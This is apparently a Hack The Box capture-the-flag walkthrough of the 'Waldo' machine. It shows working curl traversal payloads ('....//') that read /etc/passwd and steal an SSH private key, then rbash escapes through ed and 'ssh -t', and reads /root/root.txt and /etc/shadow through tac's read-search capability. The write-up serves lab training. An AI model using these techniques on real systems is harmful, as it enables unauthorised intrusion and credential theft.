Level: Mediun

Task: To find user.txt and root.txt file

Let’s start off with nmap command to find out the open ports and services.

root@kali:~/htb/waldo# nmap -sC -sV -oA nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 15:05 CET
Nmap scan report for
Host is up (0.029s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds



The site presents as a Where’s Waldo themed List Manager:


Beyond observing the awesome background (from Where’s Waldo? In Hollywood (Book 4 – Scene 3)) and the silly script that turns my mouse into a waldo head, I can create lists, add and delete items from them:


When I add a list, it is added in numerical order, and always named list[x], where x is an increasing int.

Under the Hood

If I watch what’s happening as I create and delete lists and items in a proxy (like burp, or firefox dev tools), there’s a series of POST requests to 4 php scripts:

  • dirRead.php
  • fileRead.php
  • fileWrite.php
  • fileDelete.php

Here’s an example selection of requests from burp generated by interacting with the site:



If I pull up one of the POSTs to dirRead.php, I’ll see a request which includes a path:

Site Source

I can pipe the curl output into jq with the -r flag to print the string as raw, and select the fileobject (if you don’t know jq, you should check it out – it comes in handy in so many situations with json data.

So this command will grab dirRead.php:

root@kali:~/htb/waldo# curl -s -X POST -d "file=dirRead.php" | jq -r .file

header('Content-type: application/json');
$_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
echo json_encode(scandir("/var/www/html/" . $_POST['path']));
header('Content-type: application/json');
echo '[false]';


root@kali:~/htb/waldo# curl -s -X POST -d "file=fileRead.php" | jq -r .file

$fileContent['file'] = false;
header('Content-Type: application/json');
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file'])); 
echo json_encode($fileContent);


root@kali:~/htb/waldo# curl -s -X POST -d "file=fileWrite.php" | jq -r .file

header('Content-Type: application/json');
$condition['result'] = false;
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
$handle = fopen($myFile, 'w');
$data = $_POST['data'];
fwrite($handle, $data);
$condition['result'] = true;
echo json_encode($condition);


root@kali:~/htb/waldo# curl -s -X POST -d "file=fileDelete.php" | jq -r .file

header('Content-Type: application/json');
$myFile = "/var/www/html/.list/list" . $_POST['listnum'];
header('Content-Type: application/json');
echo '[true]';
header('Content-Type: application/json');
echo '[false]';
header('Content-Type: application/json');
echo '[false]';

Bypassing Filters

I can see in both dirRead and fileRead the user input is filtered to remove directory traversal attacks. There’s a third filter there in fileRead that prevents me from reading user.txt:

file filter
dirRead $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
fileRead $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
fileRead strpos($_POST['file'], "user.txt") === false

Fortunately for me, that style filter can be bypassed by including a string that, after the str_replace, will result in what I want. str_replace is not recursive. It only makes one pass over the string. So, str_replace( array("../", "..\""), "", "....//") == "../".

To test, I’ll get a directory listing of / and grab /etc/passwd:

root@kali:~/htb/waldo# curl -s -X POST -d "path=....//....//....//" | jq -rc

root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//etc/passwd" | jq -r .file

Intersting Files

In enumerating the box with dir list and file read, I’ll find a few interesting things.

Right away we see .dockerenv in the root. Looking around further, the box is sparse, so I am likely in a container.

There’s also a .ssh folder, which contains a file named .monitor, which is a private ssh key. I’ll save it with this command

  • root@kali:~/htb/waldo# curl -s -X POST -d "file=....//....//....//home/nobody/.ssh/.monitor" | jq -r .file > id_waldo_nobody
    root@kali:~/htb/waldo# cat id_waldo_nobody 
    -----END RSA PRIVATE KEY-----

SSH Access as nobody

Now with an ssh key, I can get a shell on Waldo as nobody:

root@kali:~# ssh -i id_rsa_waldo_nobody nobody@
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

This gives me access to user.txt:

waldo:~$ wc -c user.txt
33 user.txt
waldo:~$ cat user.txt

Privesc / Pivot: nobody -> monitor


The next step involves noticing a bunch of things that are acting weird and some experimentation (or, if you’re on free, noticing in the process list that someone else has already sshed into localhost as monitor).

  • The private key I found was named .monitor. I used it with nobody, but it didn’t have that name in it.
  • monitor isn’t a user on this host.
  • ssh on this box is configured to listen on 8888. When I tried to talk to 8888 from the attacker box, it hangs (remember the filtered return from the original nmap). But here’s the interesting parts from the ssh config:
    monitor@waldo:/$ grep -e "Port " -e AllowUser  /etc/ssh/sshd_config
    #Port 22
    AllowUsers monitor
  • I still see the host listening on 22 and 8888:
    waldo:~$ netstat -pant
    netstat: can't scan /proc - are you root?
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0    *               LISTEN      -
    tcp        0      0    *               LISTEN      -
    tcp        0      0  *               LISTEN      -
    tcp        0      0*               LISTEN      -
    tcp        0      0            TIME_WAIT   -
    tcp        0      0       ESTABLISHED -
    tcp        0      0          TIME_WAIT   -
    tcp        0      0 :::80                   :::*                    LISTEN      -
    tcp        0      0 :::22                   :::*                    LISTEN      -
    tcp        0      0 :::8888                 :::*                    LISTEN      -

My theory at this point is that I’m in a container, and that the host is forwarding post 22 from the outside to port 8888 on the container. But the host is also still listening on port 22 for itself.

Restricted Shell

If I try sshing as monitor to localhost, I get a new shell, and a new host! (And a huge ascii art banner!):

waldo:~$  ssh -i /home/nobody/.ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
                      @@@,@@/ %                                                            
              (@################%@@@@@.     /**                                             
 `           @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%((/                               
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/          
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@           
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#            
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@              
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,              
                            Here's Waldo, where's root?
Last login: Wed Dec 19 08:19:51 2018 from
-rbash: alias: command not found

And it’s a quite restricted shell:

monitor@waldo:~$ cd /
-rbash: cd: restricted

monitor@waldo:~$ echo $PATH

I can’t change directory. There’s a bin dir with ls and 3 text editors, which is basically the only commands I can run.

monitor@waldo:~$ ls bin/
ls  most  red  rnano

There’s also this app-dev directory (more on that later).


I found 2 ways to escape from the restricted shell.

What Sets the Shell

The rbash environment I’m given is set in two places. First, if i look in /etc/passwdfor the monitor user, I’ll see its shell is set to rbash:

monitor@waldo:~$ grep monitor /etc/passwd
monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash

rbash will restrict my use of cd, changing the path, and calling programs outside my given path. Then, the path is set on the last line of the .bashrc file, which is sourced at shell creation time:

monitor@waldo:~$ tail -1 .bashrc

In both escapes that follow, once I’m able to get a different shell, I’m able to change the path, and I’ve completely escaped.

Intended Route: red

In the bin dir, I’ll find a few editors:

monitor@waldo:~$ ls -l bin
total 0
lrwxrwxrwx 1 root root  7 May  3  2018 ls -> /bin/ls
lrwxrwxrwx 1 root root 13 May  3  2018 most -> /usr/bin/most
lrwxrwxrwx 1 root root  7 May  3  2018 red -> /bin/ed
lrwxrwxrwx 1 root root  9 May  3  2018 rnano -> /bin/nano

For each editor, they link back to the normal versions. Sometimes there’s an r in front of the name (to imply restricted). Neither nano nor most have any ability to run shell commands.

red is the name for the restricted version of ed, that doesn’t allow you to call system commands from inside it, for example. But this red just links back to unrestricted ed, not to an instance of red.

To escape rbash via ed, I’ll take advantage of ed’s ability to run shell commands. From the edman page:


Executes command via sh(1). If the first character of command is ‘!’, then it is replaced by text of the previous ‘!command’ed does not process command for backslash () escapes. However, an unescaped ’%’ is replaced by the default filename. When the shell returns from execution, a ‘!’ is printed to the standard output. The current line is unchanged.

So, I can just open ed, type !/bin/sh, and have a full shell:

monitor@waldo:~$ red
$ pwd
$ cd /
$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

I’ll need to set the path to something more reasonable, but that’s easy enough outside of rbash:

monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Unintended Route: ssh -t

The PATH is missing several entries and it is not possible to specify absolute paths. As the gnu.org article below on “The Restricted Shell” states, it is not possible to set the PATH variable in rbash.
Fortunately, the SSH “-t” switch allows a tty to be forced for the login, which will bypass rbash.
After exiting the current restricted shell, the command below is executed.

waldo:~$ ssh -i /home/nobody/.ssh/.monitor monitor@localhost -t bash
monitor@waldo:~$ cd /
monitor@waldo:/$ id
bash: id: command not found
monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:/$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

On the free servers, which had a lot of users going at once, this way was often given away because it shows up in the process list of the container, so once someone figured it out, it was obviously there for others to grab and use.

Privesc: Full Disk Read as root

Enumeration of the home directory reveals various binaries and “logMonitor-0.1” seems interesting as it might have been conferred privileges in order to read log files. However, the SETUID bit has not been set.
A less well-known technique of allowing binaries to run with elevated privileges are Linux Capabilities. The Post “Linux Capabilities – A friend and foe” by m0noc provides a good overview of this subject.
A check for assigned capabilities can be performed with the getcap utility


Linux has a concept of capabilities, which allow you to assign a program rights to do certain things typically reserved for root. So, for example, the CAP_NET_BIND_SERVICE capability allows a program not running as root to bind to a port under 1024.

If I look at this program, using getcap, I’ll see it has a capability assigned:

monitor@waldo:/$ getcap -r * 2>/dev/null
home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
usr/bin/tac = cap_dac_read_search+ei

CAP_DAC_READ_SEARCH allows the program to bypass file and directory read permission checks. Neat.

the +ei means that the capability is:

  • (e)ffective – used by the kernel to perform permission checks
  • (i) inheritable – preserved across execve or fork calls


tac is just reverse cat, as it in prints contents of files to stdout, but last line first.

With tac, I can get the root flag:

monitor@waldo:~/app-dev$ tac /root/root.txt

If I wanted to read other files with more than one line, just tac twice:

monitor@waldo:/$ tac /etc/shadow | tac

No root Shell, below ssh-tunnel explained

root@kali:~/htb/waldo# ssh -L8023: -i priv nobody@
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
root@kali:~# netstat -alnp | grep 8023
tcp 0 0* LISTEN 2507/ssh 
tcp6 0 0 ::1:8023 :::* LISTEN 2507/ssh 
root@kali:~# nc localhost 8023
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
root@kali:~# nc 22
root@kali:~/htb/waldo# ssh -p8023 -i priv monitor@localhost bash
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
python3 -c "import pty; pty.spawn('/bin/bash')"
monitor@waldo:~$ pwd

Author: Jacco Straathof